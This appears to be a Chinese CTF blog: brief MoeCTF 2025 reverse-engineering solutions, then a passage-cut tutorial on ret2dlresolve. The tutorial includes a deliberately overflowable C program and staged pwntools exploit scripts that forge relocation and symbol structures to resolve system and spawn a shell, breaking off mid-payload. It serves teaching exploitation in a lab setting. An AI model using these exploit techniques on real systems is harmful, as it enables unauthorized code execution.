 strcpy(v12, "4EEB1EEF2914D79BFA8C5006332097ED2EF06C4A59CAE31C827A08D45CC649C0B971BF2EFBCB160E531A646DF7A6AC0B");
 sm4Encrypt(v21, v24, v23);
 v13 = (__int64 *)v21[1];
 v14 = (unsigned __int64)LOBYTE(v21[0]) >> 1;
 if ( ((__int64)v21[0] & 1) == 0 )
 v13 = (__int64 *)((unsigned __int64)LOBYTE(v21[0]) >> 1);
 if ( v13 == &qword_60 )
 {
 if ( ((__int64)v21[0] & 1) != 0 )
 {
 v19 = s1;
 v10 = memcmp(s1, v12, 0x60u) == 0;
 goto LABEL_21;
 }
 v15 = (unsigned __int8 *)v21 + 1;
 v16 = v12;
 do
 {
 v17 = *v15;
 v18 = (unsigned __int8)*v16;
 v10 = v17 == v18;
 if ( v17 != v18 )
 break;
 --v14;
 ++v15;
 ++v16;
 }
 while ( v14 );
 }
 else
 {
 v10 = 0;
 }
 if ( ((__int64)v21[0] & 1) != 0 )
 {
 v19 = s1;
LABEL_21:
 operator delete(v19);
 }
 operator delete(v12);
 if ( ((__int64)v23[0] & 1) != 0 )
 operator delete(v23[2]);
 if ( (v24[0] & 1) != 0 )
 operator delete(v25);
 return v10;
}

SM4加密ecb模式，密文直接给了，密钥就是moectf2025!!!!!! 反向解密即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


from gmssl.sm4 import CryptSM4, SM4_DECRYPT
from binascii import unhexlify

def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"

key = b"moectf2025!!!!!!"
cipher_hex = "4EEB1EEF2914D79BFA8C5006332097ED2EF06C4A59CAE31C827A08D45CC649C0B971BF2EFBCB160E531A646DF7A6AC0B"
cipher_bytes = unhexlify(cipher_hex)

crypt_sm4 = CryptSM4()
crypt_sm4.set_key(key, SM4_DECRYPT)
plain = crypt_sm4.crypt_ecb(cipher_bytes)
print(CLEAR_TEXT(f"[+] Decrypted:{plain}"))

2048

在线程分支存在检测当前文件夹下有无flag.txt来触发分支进入（注意而且要有37个字符）

继续进入，sub_401a81中的sub_401530是一个修改了xxtea的魔数的算法

在x64dbg中dump出xxtea算法的key

然后写解密即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


#include <stdio.h>
#include <stdint.h>
#define DELTA 0x3E9779B9//-0x61C88647 补码
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
void xxtea(uint32_t *v, int n, uint32_t const key[4])
{
 uint32_t y, z, sum;
 unsigned p, rounds, e;
 rounds = 6 + 52/n;
 sum = rounds*DELTA;
 y = v[0];
 do
 {
 e = (sum >> 2) & 3;
 for (p=n-1; p>0; p--)
 {
 z = v[p-1];
 y = v[p] -= MX;
 }
 z = v[n-1];
 y = v[0] -= MX;
 sum -= DELTA;
 }
 while (--rounds);
}

int main()
{
 uint32_t v[]={
0xCC777935,0x3441131B,0x919FFFF9,0x78945BFF,0xAEAF2A86,0x4D319ED7,0x51A5C47A,0x446ED9D1,0x1B865218,0x63C98A42
 };
 uint32_t const k[4]= {0x38343032,0x7473616d,0x30327265,0x616d3834};
 int n= 10;
 xxtea(v, n, k);
 char *flag=(char*)v;
 for (int i=0;i<40;i++) printf("%c",flag[i]);
 return 0;
}

guess

DIE看一眼

运行程序可以输入十次

编译失败，发现有互补跳转指令

nop掉，出现一大坨c++代码

如果我们输入的数字=v33,那么会直接输出flag，那么反过来patch一下就可以输错也得到flag

a simple program

DIE查看
flag并非在主函数里

发现下面有一串类似密文的字节串，跟踪一下

好像是一个加密函数？实际上是一个TLS的反调试，如果动调就能找到

初始化API hook后，拦截掉原本的C库函数，使用自己的函数进行校验
在下面的TLS回调分支进行了两个经典反调试检测如果检测到调试器存在直接破坏程序内存而崩溃，所以我们找到的函数实际上就是自定义的strncmp函数，其中是真的flag逻辑

1
2
3


encode=[0x4e, 0x4c, 0x46, 0x40, 0x57, 0x45, 0x58, 0x7a, 0x13, 0x56, 0x7c, 0x73, 0x17, 0x50, 0x50, 0x66, 0x47, 0x2, 0x2, 0x5e]
for i in range(len(encode)):
 print(chr(encode[i]^0x23),end='')

rusty_sudoku

main函数非常的长，我们先运行程序看看

可以看出输入的格式要求为9*9，也就是81个字符（sudoku是数读啊…）

这里给出了范式

刚好是91个字符，也就是说我们要按照这里来填写数独

也就是这样，在网站进行快速解题（你也可以自己来）

如图得到答案
369184572185327694274956831632879415897541263541632789756213948918465327423798156

看起来是md5的flag(

剖析ret2dlresolve

Sun, 05 Oct 2025 23:36:00 +0000

ret2dlresolve

ret2libc之后的进阶，动态链接的深入了解

延迟绑定技术

为避免在运行程序时加载过多的动态链接导致卡顿，操作系统实现了延迟绑定（Lazy Binding）的技术，只有在函数首次调用时才进行绑定，

如图，程序在首次执行call func@plt的时候会执行以下的部分，先到plt表，然后jmp到got表

如下，此时got表地址在plt表上

其实这里是jmp got到read的地址，实际上这里是extern，延迟绑定到libc中的read。而这里由于符号的缺失，我们只能知道其跳转到了libc文件中的read进行调用

而在plt表中，如果符号存在，我们拿一个文件举例子

如图，在jmp got后的下一条指令push了一个数字（函数在rel.plt上的便宜，reloc_arg)

之后jmp plt[0]0x8048380

plt[0]处先push got[1] –>即link_map（链接器标识信息），然后jmp 到got[2]处，got[2]为_dl_runtime_resolve的地址

那么实际上执行的就是
_dl_runtime_resolve(link_map,reloc_arg)

而这个函数，完成了对符号的解析，将真正write函数地址写入got表条目中后转接控制器给解析出来的函数

关键段落

.rel.plt是函数重定位

.rel.dyn是变量重定位

.dynsym是动态链接符号表

./dynstr是动态链接的字符串

.got是全局变量偏移表

.got.plt是全局函数偏移表

可以看出[10][11]的地方类型为rela，即重定位表

而且我们需要知道.got.plt前三项为

address of .dynamic
link_map
dl_runtime_resolve

_dl_fixup

在调用_dl_runtime...的时候在设置好参数后call _dl_fixup，我们进行查看

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80


_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
 ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
 struct link_map *l, ElfW(Word) reloc_arg)
{
 const ElfW(Sym) *const symtab
 = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
 const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

 const PLTREL *const reloc
 = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); // 首先通过参数reloc_arg计算重定位的入口，这里的JMPREL即.rel.plt，reloc_offest即reloc_arg
 const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; // 然后通过reloc->r_info找到.dynsym中对应的条目
 const ElfW(Sym) *refsym = sym;
 void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
 lookup_t result;
 DL_FIXUP_VALUE_TYPE value;

 /* Sanity check that we're really looking at a PLT relocation. */
 assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); //这里还会检查reloc->r_info的最低位是不是R_386_JMUP_SLOT=7，即重定位标志


 if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
 {
 const struct r_found_version *version = NULL;

 if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
 {
 const ElfW(Half) *vernum =
 (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
 ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
 version = &l->l_versions[ndx];
 if (version->hash == 0)
 version = NULL;
 }

 int flags = DL_LOOKUP_ADD_DEPENDENCY;
 if (!RTLD_SINGLE_THREAD_P)
 {
 THREAD_GSCOPE_SET_FLAG ();
 flags |= DL_LOOKUP_GSCOPE_LOCK;
 }

#ifdef RTLD_ENABLE_FOREIGN_CALL
 RTLD_ENABLE_FOREIGN_CALL;
#endif

 result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
 version, ELF_RTYPE_CLASS_PLT, flags, NULL); // 接着通过strtab+sym->st_name找到符号表字符串，result为libc基地址

 /* We are done with the global scope. */
 if (!RTLD_SINGLE_THREAD_P)
 THREAD_GSCOPE_RESET_FLAG ();

#ifdef RTLD_FINALIZE_FOREIGN_CALL
 RTLD_FINALIZE_FOREIGN_CALL;
#endif


 value = DL_FIXUP_MAKE_VALUE (result,
 SYMBOL_ADDRESS (result, sym, false)); // value为libc基址加上要解析函数的偏移地址，也即实际地址,SYMBOL_ADDRESS() 得到偏移sym，+ result 得出最终函数地址
 }
 else
 {
 value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
 result = l;
 }

 value = elf_machine_plt_value (l, reloc, value);

 if (sym != NULL
 && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
 value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

 /* Finally, fix up the plt itself. */
 if (__glibc_unlikely (GLRO(dl_bind_not)))
 return value;

 return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value); // 最后把value写入相应的GOT表条目中
}

关键部分已经标出注释

_dl_fixup函数调用了_dl_lookup_symbol_x函数，最终这个函数去动态库找到延迟绑定函数填写到了got.plt表项中

_dl_runtime_resolve函数运作流程

dynamic段落

首先.dynamic里面保存了动态链接器所需要基本信息。

例如.dynsym动态链接符号表位置，动态链接重定位表的位置、.dynstr动态链接字符串表的位置。

也就是现在想找到.dynsym，就必须找到.dynamic地址，因此.dynamic段就是主要用于寻找与动态链接相关的其他段(.dynsym .dynstr .rela.plt等段）以下为一个Elf32_Dyn的结构。其由一个类型值d_tag以及一个数值或指针(通过Union结构体同时定义d_val和d_ptr，但是一次只存储一个值，此联合体大小4字节，整个结构体Elf32_Dyn为8字节）

1
2
3
4
5
6
7
8
9


typedef struct
{
 Elf32_Sword d_tag; /* Dynamic entry type */
 union
 {
 Elf32_Word d_val; /* Integer value */
 Elf32_Addr d_ptr; /* Address value */
 } d_un;
} Elf32_Dyn;

动态符号表(Dynamic Symbol Table)

动态符号表中存储了与动态链接（这些函数会进行动态链接）相关的符号，段名被称为.dynsym，而对于本模块的内部符号或者私有变量保存在了.symtab这个表，symtab保存了所有符号（包括.dynsym中的）

‍

动态符号字符串表(Dynamic String Table)

跟名字一样，其为保存了符号名的字符串表，其存在的意义巍是由于Dynamic Symbol Table中记录的固定长度的内容无法描述二进制文件中的任意字符串，因此再次创立了一个表.dynstr，用于存储函数名称的字符串，在.dynsym中的.st_name字段存储了偏移，最后由.dynstr首地址加上偏移找到对能够符号名称。

最后的最后，由_dl_lookup函数拿着这个符号的名称去动态链接库搜索对应函数

在Ida中也能看到ELF String Table

_dl_runtime_resolve的运行模式总结

使用link_map(_dl_runtime_resolvehand的第一个参数）访问.dynamic，取出.dynstr .dynsym .rel.plt地址
.rel.plt+relic_index，求得当前函数重定位表项Elf32_Rel指针，记为rel
rel->r_info >> 8作为.dynsym下标，并求出当前函数符号表项Elf32_sym指针，记作sym
.dynstr+sym->st_name的到符号名，字符串指针
动态链接库查找该函数地址，赋给*rel->r_offset，即GOT表
调用函数

在下文有更详细的解析

测试

32位

调试

延迟绑定图如下

以read函数为例

可以看到刚要进入read,我们就jmp到了0x804c004，下一条指令便对应了上图提到的延迟绑定的步骤2

跳转到plt表，并push了一个0x8然后跳转到了0x8049020，不难发现这是一个很贴近的地址，实际上此时处于步骤4

而在jmp到0x8049020后，再次执行了push和jmp。查看内容

因此我们现在知道了，之前push压栈的两个是参数，第二次push也就是栈顶的0x804bff8是参数**link_map **指针。0x8则是参数reloc_index

因此我们可以先通过了link_map找到.dynamic地址，图中第三个地址就是.dynamic地址

0x0804bf00

那么link_map到底是怎么访问到.dynamic地址的？

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


struct link_map
 {
 /* These first few members are part of the protocol with the debugger.
 This is the same format used in SVR4. */

 ElfW(Addr) l_addr; /* Base address shared object is loaded at. */
 char *l_name; /* Absolute file name object was found in. */
 ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */
 struct link_map *l_next, *l_prev; /* Chain of loaded objects. */
};

我们发现第三个*l_ld在这里存储的是Dynamic段地址，也因此我们查找link_map结构体中第三个地址也就是.dynamic地址了

而根据_dl_runtime_resolve的运行模式总结，这里要取出.dynstr .dynsym以及.rel.plt的地址了。可以查看一下他们的所处地址

分别位于.dynamic段偏移9 10 17的位置，我们知道Elf32_Dyn为8字节，并且实际值or指针位于后四字节。因此他们应该处于8*9-4=0x44 8*10-4=0x4c 8*17-4=0x84的偏移处（这里-4是因为要去除当前所属位置的偏移）

最后用.rel.plt的值加上参数reloc_index，就是重定位表项Elf32_Rel的指针，也就是0x080483b4+0x8=0x080483bc

然后是Elf32_Rel结构体，对应r_offset为0x804c004（.got.plt的地址，也就是最后解析之后会填入真实的地址的地方），r_info=0x207。

r_info>>8=0x2，作为.dynsym的下标（从0开始算的）

1
2
3
4
5
6


// _dl_runtime_resolve的结构体
typedef struct
{
 Elf32_Addr r_offset; /* Address */
 Elf32_Word r_info; /* Relocation type and symbol index */
} Elf32_Rel;

而Elf32_Sym源码如下

1
2
3
4
5
6
7
8
9


typedef struct
{
 Elf32_Word st_name; /* Symbol name (string tbl index) */
 Elf32_Addr st_value; /* Symbol value */
 Elf32_Word st_size; /* Symbol size */
 unsigned char st_info; /* Symbol type and binding */
 unsigned char st_other; /* Symbol visibility */
 Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;

第一个成员名st_name存储.dynstr表所需要索引（也可以说是偏移），在gdb查看（也可以算）

在下方的.dynstr基址加上索引，得到0x080482E0，找到read名字存储地址

接下来调用_dl_lookup_symbol_x函数，到动态库遍历查找

至此，read函数从动态库里读取出，使得可以被使用。

倒推过程

构成一条成熟的思考链。

首先我们需要找到函数名字（字符串，拿到该字符串首地址）。把这个名字交给_dl_lookup_symbol_x，让这个函数去动态库搜索，最后找到我们想延迟绑定的函数，写到.got.plt中

如何拿到这个字符串呢？

然后知道这个字符串在.dynstr中。我们需要两个东西，

一个是.dynstr的基址
一个是字符串距离.dynstr基址的偏移

寻找`.dynstr`首地址

我们知道.dynamic段有动态链接器基本信息，其中包含.dynstr的位置，所以我们要先找到.dynamic段的地址

发现link_map结构体中第三个内容存放的就是.dynamic的地址

那么我们只要查看link_map内容，然后第三个就是我们要的东西。link_map呢就是执行_dl_runtime_resolve函数的第一个参数link_map_obj。从这里开始再顺着正推就可以找到了.dynstr了

.dynstr相对的偏移怎么找

我们发现Elf32_Sym源码中每一个结构体第一个成员就存储了我们要找的偏移，而这个结构又存储在.dynsym（即动态符号表）中（每个函数都有一个单独的Elf32_sym结构）

因此我们可以在.dynsym中找到我们想要的Elf32_Sym结构，但是此时又引出了两个问题

每个函数都有一个这个结构，那么怎么到.dynsym中找到我们想要的函数结构
.dynsym的地址怎么找

.dynsym的地址也在.dynamic中存储了，因此其实我们拿到.dynamic段的地址的话那么.dynsym的地址实际上也可以拿到了

那么怎么到.dynsym中找到我们想要的函数结构？

这个结构实际上也是要拿到距离.dynsym的首地址的偏移，这个偏移需要找到.rel.plt表，这个表是Elf32_Rel结构体组成的，因此拿出第二个成员，将内容算术右移八位就是我们需要的偏移。

而.rel.plt就在.dynamic段中，由于每个Elf32_Rel的结构体又都对应一个函数，我们如何找到想要的Elf32_Rel?———直接使用_dl_runtime_resolve的第二个参数reloc_index

图片来自www.cnblogs.com/ZIKH26/articles/15944406.html

漏洞

_dl_lookup_symbol_x函数最后去搜索字符串存在问题，因为实际上这个函数不在乎给的字符串是否是此刻正在延迟绑定的函数

也就是说，即使是别的函数的字符串，其也会去搜索，再加上_dl_runtime_resolve函数的第二个参数(r_info)即便非常大也不会被认为超过.rel.plt，也就是说可以通过修改出Elf32_Rel的r_info转移到一个伪造的Elf32_Sym上。

综上

我们直接伪造一个极大的****reloc_index ，让原本偏移到 .rel.plt的****reloc_index最后偏移到我们伪造的可控内存，伪造一系列的结构使得最终****dynstr段首的偏移指向了我们指定的字符串，至此 _dl_lookup_symbol_x会去直接搜索我们制定的函数，即使没有任何的泄漏也可以直接getshell

利用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


#include <stdio.h>
#include <unistd.h>

void vuln() {
 char content[0x100];
 read(0, content, 0x200);
}

int main() {
 vuln();
 return 0;
}
gcc -o test_32 ./test_32.c -m32 -no-pie -fno-stack-protector

演示图，来自晚秋。

由于函数结束调用leave;ret，若能够覆盖ebp为addr-4，栈溢出执行迁移到了base_addr

step1-重构造read

如下图，已经构造出了在bss段的第二次read，执行一个新的read函数，这个read函数是我们最重要执行的函数，将其改为system等想要的函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./test_32"
libc_name = "./libc.so.6"
arch = 'i386'
remote_addr = "localhost"
remote_port = "35661"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
 io = process(filename)
 print("[*] Running on local machine")
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 b *0x0804916A
 b *read
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)
# libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def get_64():
 return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


bss = elf.bss()
base_addr = bss+0x800
leave_ret = 0x080490d6
start_resolve = 0x08049040

read_plt = elf.plt['read']

log.info(VIO_TEXT(f"base_addr:{hex(base_addr)}"))

payload = flat(
 b'a'*0x108,
 base_addr-4, read_plt,
 leave_ret, p32(0), base_addr, 0x100
) #leave_ret后跳转到base_addr然后开始执行read
se(payload)

payload = flat(
 read_plt, 0xdeadbeaf,
 0, bss+0x100, 0x100,
)
# 再一次read,
se(payload)
ia()

step2 模拟plt表的绑定过程

观察plt表，实际上为如下两条指令，发现实际上是push 8后跳转到了一个函数，该函数则为dl_runtime_resolve的函数。所以我们模拟plt表绑定过程去往栈上写入内容。在栈上手动写一个8，然后跳转到该函数0x08049040

据此我们再次修改，将原本的read_plt改为resolve并放入8

1
2
3
4


payload = flat(
 start_resolve, 8, 0xdeadbeef,
 0, bss+0x100, 0x100,
)

step3 伪造reloc_index

现在我们准备开始ret2dlresolve吧。回过头去看看演示图，来自晚秋。

实际上我们往栈上push了一个0x8，实际上这就是图里面的reloc_index

而0x8是什么？–其实我一开始也不知道

如图，我们在.init之前可以看到加载段，而0x8实际上是.rel.plt段的基地址和write函数的Elf32_Rel结构体的偏移

.rel.plt就是红框中的内容，其由函数的Elf32_Rel结构体组成。结构体的定义如下

1
2
3
4
5


struct Elf32_Rel
{
 unsigned __int32 r_offset; //图里为0x804c004
 unsigned __int32 r_info; //0x207
};

如果我们伪造到栈上，往栈上push的值不再是0x8，不难想到，因为0x8是原来的结构体和.rel.plt基地址的偏移，因此我们需要计算我们伪造的结构体和.rel.plt基地址的差，替换掉原本的0x8

而.rel.plt的基地址从图里面就可看到–0x080483B4

也可以用pwntools查看

1

rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr

‍

修改后：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


bss = elf.bss()
base_addr = bss+0x800
leave_ret = 0x080490d6
start_resolve = 0x08049040
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
log.info(VIO_TEXT(f'rel_plt:{hex(rel_plt)}'))
log.info(VIO_TEXT(f"base_addr:{hex(base_addr)}"))
read_plt = elf.plt['read']

payload = flat(
 b'a'*0x108,
 base_addr-4, read_plt,
 leave_ret, p32(0), base_addr, 0x200
) # leave_ret后跳转到base_addr然后开始执行read
se(payload)


fake_struct = p32(0x804c004)+p32(207) #伪造的Elf32_Rel
# payload = flat(
# start_resolve, 8, 0xdeadbeef,
# 0, bss+0x200, 0x200,
# )
payload = flat(
 start_resolve, p32(base_addr+0x10-rel_plt), 0xdeadbeef, #这里start_resolve开始重定位
 # 第一个参数就是push的参数，其为reloc_index
 0, bss+0x100, 0x100,
 fake_struct
)

step4 伪造.dynsym

实际上我们就是在一步步伪造演示图的所有结构体，在step3我们伪造了.rel.plt结构体，接下来轮到了.dynsym结构体，而程序找到这个结构体是对.dynsym基地址来通过上一步讲到的Elf32_Rel结构体中r_info>>8当作偏移得到

| 0x7: 最低 8 位填入重定位类型：类型 7 是 R_386_JUMP_SLOT

通过readelf后我们定位到.dynsym

如图就是我们跳转后找到的部分

这里可以计算得到st_name距离基地址偏移是0x20

可以t跳转到结构体界面，上一节中知道r_info为0x207，右移八位得到2，即Elf32_sym中的第二个结构体:这里是aRead从0开始算

1
2
3
4
5
6
7
8
9


struct Elf32_Sym
{
 unsigned __int32 st_name __offset(OFF32,0x80482D0); // 四字节，计算得到偏移为0x10
 unsigned __int32 st_value __off; // 四字节，0
 unsigned __int32 st_size; // 四字节，0
 unsigned __int8(char) st_info; //一字节,0x12
 unsigned __int8(char) st_other; //一字节，0
 unsigned __int16 st_shndx; //二字节，0
};

注意两点

Elf32_Syn结构体要求地址对齐，例如这里是0x…0结尾的，那么伪造的结构体也要以0x..0结尾
r_info计算方式为伪造结构体基地址减dynsym的基地址作为下标（即索引），左移八位（符号索引移动到高二十四位）后或上0x7（类型必须为7），r_info以此我们计算出symtab中的index并且保存类型
我们不难看出这是十六字节的大小，这里我们看一下

1
2


dynsym=elf.get_section_by_name(".dynsym").header.sh_addr
r_info = (((base_addr + 0x10 - dynsym) // 0x10) << 8) | 0x7 # /0x10是因为SYMENT指明大小为十六字节

修改后信息如下：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


bss = elf.bss()
base_addr = bss+0x800
leave_ret = 0x080490d6
start_resolve = 0x08049040
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
r_info = (((base_addr+0x10-dynsym)//0x10) << 8) | 0x7

log.info(VIO_TEXT(f'rel_plt:{hex(rel_plt)}'))
log.info(VIO_TEXT(f"base_addr:{hex(base_addr)}"))
log.info(VIO_TEXT(f"dynsym:{hex(dynsym)}"))

read_plt = elf.plt['read']

payload = flat(
 b'a'*0x108,
 base_addr-4, read_plt,
 leave_ret, p32(0), base_addr, 0x200
) # leave_ret后跳转到base_addr然后开始执行read
se(payload)

# fake_struct = p32(0x804c004)+p32(207)
fake_struct = p32(0x804c004)+p32(r_info) # 伪造elf32_rel
# payload = flat(
# start_resolve, 8, 0xdeadbeef,
# 0, bss+0x200, 0x200,
# )
payload = flat(
 start_resolve, p32(base_addr+24), 0xdeadbeef, #p32-->4*6
 0, bss+0x200, 0x200, #这里还只是伪造read
 fake_struct,
 b'a'*(0x10-((fake_struct-dynsym)&0xf), # Elf32_sym结构体为16字节，在填充后地址还要和16字节对齐
 0x20, 0, 0, 0x12
)
# 再一次read,
se(payload)

step5 伪造dynstr

这个表就是保存了符号名的字符串表。而这个表存在的意义是由于Dynamic Symbol Table里记录的都是固定长度的内容，因此它们没办法去描述二进制文件中的任意字符串（也就是我们的函数名称），因此就需要再创立一个表（也就是.dynstr)来存储函数名称的字符串，在.dynsym中的.st_name字段存储了一个偏移，而最后.dynstr段的首地址加上这个偏移量才能找到符号的名称。而_dl_lookup函数最后就是拿着这个符号的名称（也就是函数的名称）去动态链接库里面搜索对应的函数。

我们已经从右往做完成了dynsym的伪造，接下来我们就要在栈上再协议次假的read函数名字符串。

这个偏移本身来自于Elf32_Sym结构体中的st_name，在我们这里就是0x20

修改完如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131


import argparse
import sys

from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./test_32"
libc_name = "./libc.so.6"
arch = 'i386'
remote_addr = "localhost"
remote_port = "35661"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
 io = process(filename)
 print("[*] Running on local machine")
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 b *0x8049199
 b *read
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)
# libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def get_64():
 return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name(".dynstr").header.sh_addr
start_resolve = elf.get_section_by_name(".plt").header.sh_addr

# 初始化所需的段首地址

bss = elf.bss()
base_addr = bss+0x800 # 这里要最后一位对齐
leave_ret = 0x080490d6
start_resolve = 0x08049020 # .plt中的第一个函数，调用这个函数会进入动态链接器
r_info = (((base_addr+0x20-dynsym)//0x10) << 8) | 0x7


log.info(VIO_TEXT(f'rel_plt:{hex(rel_plt)}'))
log.info(VIO_TEXT(f"base_addr:{hex(base_addr)}"))
log.info(VIO_TEXT(f"dynsym:{hex(dynsym)}"))

read_plt = elf.plt['read']
fake_sym_addr = base_addr+32 # fake_sym_addr为Elf32_Sym结构首地址，这里是根据下面计算的4*8=32
align = 0x10-((fake_sym_addr-dynsym) & 0xf) # Elf32_Sym结构为16字节，因此地址和16字节对齐
# 只取最后一位，二者地址放在一个结构中，最后求出fake_sym_addr距离16字节差的字节数
# 使用dynsym是因为dynsym是对齐的，可以用来做对齐的表
fake_sym_addr += align # 其实就是进行十六字节补齐，payload中也写入align
log.info(VIO_TEXT(f"fake_sym_addr:{hex(fake_sym_addr)}"))
log.info(VIO_TEXT(f"align:{hex(align)}"))
st_name = fake_sym_addr+0x10-dynstr # 这个是字符串在dynstr中的偏移
fake_sym = p32(st_name)+p32(0)+p32(0)+p32(0x12) # 0x12=st_info

r_offset = elf.got['read'] # 重定位表项中r_offset为got中read的地址,也是最后写入的真实地址的地方
log.info(VIO_TEXT(f"r_offset:{hex(r_offset)}"))
# 重定位表项中r_info的高位为符号表的索引,并且Elf32_sym大小16字节
r_sym = (fake_sym_addr-dynsym)//0x10

r_type = 0x7 # 0x7是重定位的一种类型，指的是导入函数，进入_dl_fixup函数里面，还会检查这是不是0x7
r_info = (int(r_sym) << 8)+r_type # 重定位表项中r_info的值
reloc_index = base_addr-rel_plt+24 # 这里+24要看实际伪造rel.plt距离base_addr偏移
fake_rel_plt = p32(r_offset)+p32(r_info) # 伪造rel.plt

payload = flat(
 b'a'*0x108,
 base_addr-4, read_plt, leave_ret,
 p32(0), base_addr, p32(0x100)
).ljust(0x200, b'\x00') # leave_ret后跳转到base_addr然后开始执行read
se(payload)

payload = flat(
 p32(start_resolve), p32(reloc_index), # 构成read_plt
 p32(0xdeadbeef), p32(base_addr+80), # 80放置/bin/sh
 b'bbbb', b'bbbb', # 垃圾参数，填充伪造的read参数
 fake_rel_plt,
 b'a'*align,
 fake_sym,
